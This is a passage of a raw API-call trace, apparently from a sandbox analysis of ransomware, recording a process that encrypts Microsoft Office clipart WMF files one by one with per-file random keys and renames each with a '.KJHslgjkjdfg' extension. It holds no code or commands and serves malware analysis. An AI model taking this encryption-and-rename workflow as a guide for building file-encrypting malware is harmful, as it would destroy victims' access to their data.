1 [0205.753] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.753] GetProcessHeap () returned 0x990000 [0205.753] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.753] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.753] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.753] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.753] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.753] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.753] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.753] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.753] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.753] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.753] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x474, lpOverlapped=0x0) returned 1 [0205.753] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x480, dwBufLen=0x480 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x480) returned 1 [0205.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.753] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x480, lpOverlapped=0x0) returned 1 [0205.754] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.754] SetEndOfFile (hFile=0x130) returned 1 [0205.756] GetProcessHeap () returned 0x990000 [0205.756] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.756] GetProcessHeap () returned 0x990000 [0205.756] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.kjhslgjkjdfg")) returned 1 [0205.757] CloseHandle (hObject=0x130) returned 1 [0205.757] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1 [0205.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.758] GetProcessHeap () returned 0x990000 [0205.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.758] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.758] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.761] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.761] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.761] GetProcessHeap () returned 0x990000 [0205.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.761] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.761] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.761] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.761] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.761] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.761] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.762] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.762] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.762] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.762] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x66c, lpOverlapped=0x0) returned 1 [0205.762] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x670, dwBufLen=0x670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x670) returned 1 [0205.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.762] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x670, lpOverlapped=0x0) returned 1 [0205.762] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.762] SetEndOfFile (hFile=0x130) returned 1 [0205.764] GetProcessHeap () returned 0x990000 [0205.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.765] GetProcessHeap () returned 0x990000 [0205.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.kjhslgjkjdfg")) returned 1 [0205.766] CloseHandle (hObject=0x130) returned 1 [0205.766] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1 [0205.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.767] GetProcessHeap () returned 0x990000 [0205.767] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.767] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.767] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.767] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.767] GetProcessHeap () returned 0x990000 [0205.767] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.767] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.767] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.767] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.768] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.768] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.768] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.768] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.768] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.768] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a0, lpOverlapped=0x0) returned 1 [0205.768] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a0) returned 1 [0205.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.769] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a0, lpOverlapped=0x0) returned 1 [0205.769] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.769] SetEndOfFile (hFile=0x130) returned 1 [0205.769] GetProcessHeap () returned 0x990000 [0205.769] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.769] GetProcessHeap () returned 0x990000 [0205.769] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.kjhslgjkjdfg")) returned 1 [0205.770] CloseHandle (hObject=0x130) returned 1 [0205.770] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1 [0205.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.771] GetProcessHeap () returned 0x990000 [0205.771] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.771] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.771] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.773] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.773] GetProcessHeap () returned 0x990000 [0205.773] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.773] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.773] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.773] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.773] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.773] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.773] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.773] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.773] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.774] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1fe8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1fe8, lpOverlapped=0x0) returned 1 [0205.774] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ff0, dwBufLen=0x1ff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ff0) returned 1 [0205.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.774] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ff0, lpOverlapped=0x0) returned 1 [0205.775] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.775] SetEndOfFile (hFile=0x130) returned 1 [0205.776] GetProcessHeap () returned 0x990000 [0205.776] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.776] GetProcessHeap () returned 0x990000 [0205.776] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.kjhslgjkjdfg")) returned 1 [0205.777] CloseHandle (hObject=0x130) returned 1 [0205.777] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1 [0205.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.778] GetProcessHeap () returned 0x990000 [0205.778] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.778] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.778] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0205.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.780] GetProcessHeap () returned 0x990000 [0205.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.780] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.780] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.780] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.780] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.780] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, 